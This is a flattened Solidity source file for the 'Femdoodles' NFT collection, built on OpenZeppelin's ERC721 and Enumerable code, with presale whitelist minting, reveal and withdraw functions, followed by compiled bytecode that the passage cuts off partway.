event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165, ERC721)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721.balanceOf(owner),
"ERC721Enumerable: owner index out of bounds"
);
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721Enumerable.totalSupply(),
"ERC721Enumerable: global index out of bounds"
);
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract Femdoodles is ERC721Enumerable, Ownable {
using Strings for uint256;
using SafeMath for uint256;
string public baseURI;
string public notRevealedUri;
uint256 public cost = 0.01 ether;
uint256 public maxSupply = 5000;
uint256 public nftPerAddressLimit = 5;
uint256 public tokenCount = 0;
bool public paused = false;
bool public reveal;
bool public presaleActive = true;
bool public mainSaleActive;
address[] public whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
constructor(string memory _initBaseURI, string memory _initNotRevealedUri)
ERC721("Femdoodles", "FEMDOODLES")
{
baseURI = _initBaseURI;
notRevealedUri = _initNotRevealedUri;
}
function isWhitelisted(address _user) public view returns (bool) {
for (uint256 i = 0; i < whitelistedAddresses.length; i++) {
if (whitelistedAddresses[i] == _user) {
return true;
}
}
return false;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
require(_exists(tokenId), "ERC721Metadata: Token ID does not exist");
if (reveal) {
return
bytes(baseURI).length > 0
? string(
abi.encodePacked(
baseURI,
"/",
tokenId.toString(),
".json"
)
)
: "";
} else {
return bytes(notRevealedUri).length > 0 ? notRevealedUri : "";
}
}
function preSaleMint(uint256 _amount) external payable {
require(!paused, "the contract is paused");
require(
isWhitelisted(_msgSender()),
"Femdoodles - Presale Only for Whitelist users."
);
require(presaleActive, "Femdoodles - Presale is not active.");
uint256 supply = totalSupply();
require(supply + _amount <= maxSupply, "max NFT limit exceeded");
require(_amount <= nftPerAddressLimit);
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(
ownerMintedCount + _amount <= nftPerAddressLimit,
"max NFT per address exceeded"
);
if (supply + _amount > 30) {
if (msg.sender != owner()) {
require(
msg.value >= cost * _amount,
"Femdoodles::mint: insufficient ethers"
);
}
}
for (uint256 i = 1; i <= _amount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, ++tokenCount);
}
}
function mint(uint256 _amount) external payable {
require(!paused, "the contract is paused");
require(mainSaleActive, "Femdoodles::mint: Mint is not active.");
uint256 supply = totalSupply();
require(supply + _amount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
require(_amount <= nftPerAddressLimit);
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(
ownerMintedCount + _amount <= nftPerAddressLimit,
"max NFT per address exceeded"
);
require(
msg.value >= cost * _amount,
"Femdoodles::mint: insufficient ethers"
);
}
for (uint256 i = 1; i <= _amount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, ++tokenCount);
}
}
//only owner
function revealNFT() external onlyOwner {
reveal = !reveal;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setNFTPerAddressLimit(uint256 _nftPerAddressLimit)
public
onlyOwner
{
nftPerAddressLimit = _nftPerAddressLimit;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function pause() public onlyOwner {
paused = !paused;
}
function activateMainSale() external onlyOwner {
presaleActive = !presaleActive;
mainSaleActive = !mainSaleActive;
}
function addWhitelistUsers(address[] calldata _users) public onlyOwner {
delete whitelistedAddresses;
whitelistedAddresses = _users;
}
function withdraw() public onlyOwner {
uint256 amount = address(this).balance;
(bool os1, ) = payable(0x1cc04Bac38015Bd444e1E33FA35b9377B13ED9C2).call{
value: amount.mul(15).div(100)
}("");
require(os1);
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
} | 0x60806040526004361061025c5760003560e01c80636352211e11610144578063a0712d68116100b6578063ba7d2c761161007a578063ba7d2c76146106cc578063c87b56dd146106e2578063ccd65c0a14610702578063d5abeb0114610717578063e985e9c51461072d578063f2fde38b1461077657600080fd5b8063a0712d681461063a578063a22cb4651461064d578063a475b5dd1461066d578063b88d4fde1461068c578063ba4e5c49146106ac57600080fd5b8063715018a611610108578063715018a6146105b45780637835c635146105c95780638456cb59146105dc5780638da5cb5b146105f157806395d89b411461060f5780639f181b5e1461062457600080fd5b80636352211e1461051f578063686b28121461053f5780636c0360eb1461055f5780636d47bcab1461057457806370a082311461059457600080fd5b806325e89283116101dd578063438b6300116101a1578063438b63001461045857806344a0d68a146104855780634f6ccce7146104a557806353135ca0146104c557806355f804b3146104e55780635c975abb1461050557600080fd5b806325e89283146103c25780632f745c59146103e35780633af32abf146104035780633ccfd60b1461042357806342842e0e1461043857600080fd5b8063095ea7b311610224578063095ea7b31461031c57806313faede61461033c57806318160ddd1461036057806318cae2691461037557806323b872dd146103a257600080fd5b806301ffc9a71461026157806304b4bba91461029657806306fdde03146102ad578063081812fc146102cf578063081c8c4414610307575b600080fd5b34801561026d57600080fd5b5061028161027c36600461247c565b610796565b60405190151581526020015b60405180910390f35b3480156102a257600080fd5b506102ab6107c1565b005b3480156102b957600080fd5b506102c2610811565b60405161028d91906124f1565b3480156102db57600080fd5b506102ef6102ea366004612504565b6108a3565b6040516001600160a01b03909116815260200161028d565b34801561031357600080fd5b506102c2610938565b34801561032857600080fd5b506102ab610337366004612534565b6109c6565b34801561034857600080fd5b50610352600d5481565b60405190815260200161028d565b34801561036c57600080fd5b50600854610352565b34801561038157600080fd5b5061035261039036600461255e565b60136020526000908152604090205481565b3480156103ae57600080fd5b506102ab6103bd366004612579565b610adc565b3480156103ce57600080fd5b50601154610281906301000000900460ff1681565b3480156103ef57600080fd5b506103526103fe366004612534565b610b0d565b34801561040f57600080fd5b5061028161041e36600461255e565b610ba3565b34801561042f57600080fd5b506102ab610c0d565b34801561044457600080fd5b506102ab610453366004612579565b610d25565b34801561046457600080fd5b5061047861047336600461255e565b610d40565b60405161028d91906125b5565b34801561049157600080fd5b506102ab6104a0366004612504565b610de2565b3480156104b157600080fd5b506103526104c0366004612504565b610e11565b3480156104d157600080fd5b506011546102819062010000900460ff1681565b3480156104f157600080fd5b506102ab610500366004612685565b610ea4565b34801561051157600080fd5b506011546102819060ff1681565b34801561052b57600080fd5b506102ef61053a366004612504565b610ee5565b34801561054b57600080fd5b506102ab61055a3660046126ce565b610f5c565b34801561056b57600080fd5b506102c2610f9e565b34801561058057600080fd5b506102ab61058f366004612504565b610fab565b3480156105a057600080fd5b506103526105af36600461255e565b610fda565b3480156105c057600080fd5b506102ab611061565b6102ab6105d7366004612504565b611097565b3480156105e857600080fd5b506102ab61133f565b3480156105fd57600080fd5b50600a546001600160a01b03166102ef565b34801561061b57600080fd5b506102c261137d565b34801561063057600080fd5b5061035260105481565b6102ab610648366004612504565b61138c565b34801561065957600080fd5b506102ab610668366004612743565b6115ab565b34801561067957600080fd5b5060115461028190610100900460ff1681565b34801561069857600080fd5b506102ab6106a736600461277f565b611670565b3480156106b857600080fd5b506102ef6106c7366004612504565b6116a2565b3480156106d857600080fd5b50610352600f5481565b3480156106ee57600080fd5b506102c26106fd366004612504565b6116cc565b34801561070e57600080fd5b506102ab611870565b34801561072357600080fd5b50610352600e5481565b34801561073957600080fd5b506102816107483660046127fb565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561078257600080fd5b506102ab61079136600461255e565b6118de565b60006001600160e01b0319821663780e9d6360e01b14806107bb57506107bb82611979565b92915050565b600a546001600160a01b031633146107f45760405162461bcd60e51b81526004016107eb9061282e565b60405180910390fd5b6011805461ff001981166101009182900460ff1615909102179055565b60606000805461082090612863565b80601f016020809104026020016040519081016040528092919081815260200182805461084c90612863565b80156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661091c5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107eb565b506000908152600460205260409020546001600160a01b031690565b600c805461094590612863565b80601f016020809104026020016040519081016040528092919081815260200182805461097190612863565b80156109be5780601f10610993576101008083540402835291602001916109be565b820191906000526020600020905b8154815290600101906020018083116109a157829003601f168201915b505050505081565b60006109d182610ee5565b9050806001600160a01b0316836001600160a01b03161415610a3f5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016107eb565b336001600160a01b0382161480610a5b5750610a5b8133610748565b610acd5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107eb565b610ad783836119c9565b505050565b610ae63382611a37565b610b025760405162461bcd60e51b81526004016107eb9061289e565b610ad7838383611b2e565b6000610b1883610fda565b8210610b7a5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016107eb565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6000805b601254811015610c0457826001600160a01b031660128281548110610bce57610bce6128ef565b6000918252602090912001546001600160a01b03161415610bf25750600192915050565b80610bfc8161291b565b915050610ba7565b50600092915050565b600a546001600160a01b03163314610c375760405162461bcd60e51b81526004016107eb9061282e565b476000731cc04bac38015bd444e1e33fa35b9377b13ed9c2610c656064610c5f85600f611cd9565b90611cec565b604051600081818185875af1925050503d8060008114610ca1576040519150601f19603f3d011682016040523d82523d6000602084013e610ca6565b606091505b5050905080610cb457600080fd5b6000610cc8600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610d12576040519150601f19603f3d011682016040523d82523d6000602084013e610d17565b606091505b5050905080610ad757600080fd5b610ad783838360405180602001604052806000815250611670565b60606000610d4d83610fda565b905060008167ffffffffffffffff811115610d6a57610d6a6125f9565b604051908082528060200260200182016040528015610d93578160200160208202803683370190505b50905060005b82811015610dda57610dab8582610b0d565b828281518110610dbd57610dbd6128ef565b602090810291909101015280610dd28161291b565b915050610d99565b509392505050565b600a546001600160a01b03163314610e0c5760405162461bcd60e51b81526004016107eb9061282e565b600d55565b6000610e1c60085490565b8210610e7f5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016107eb565b60088281548110610e9257610e926128ef565b90600052602060002001549050919050565b600a546001600160a01b03163314610ece5760405162461bcd60e51b81526004016107eb9061282e565b8051610ee190600b90602084019061235c565b5050565b6000818152600260205260408120546001600160a01b0316806107bb5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016107eb565b600a546001600160a01b03163314610f865760405162461bcd60e51b81526004016107eb9061282e565b610f92601260006123e0565b610ad7601283836123fe565b600b805461094590612863565b600a546001600160a01b03163314610fd55760405162461bcd60e51b81526004016107eb9061282e565b600f55565b60006001600160a01b0382166110455760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016107eb565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b0316331461108b5760405162461bcd60e51b81526004016107eb9061282e565b6110956000611cf8565b565b60115460ff16156110e35760405162461bcd60e51b81526020600482015260166024820152751d1a194818dbdb9d1c985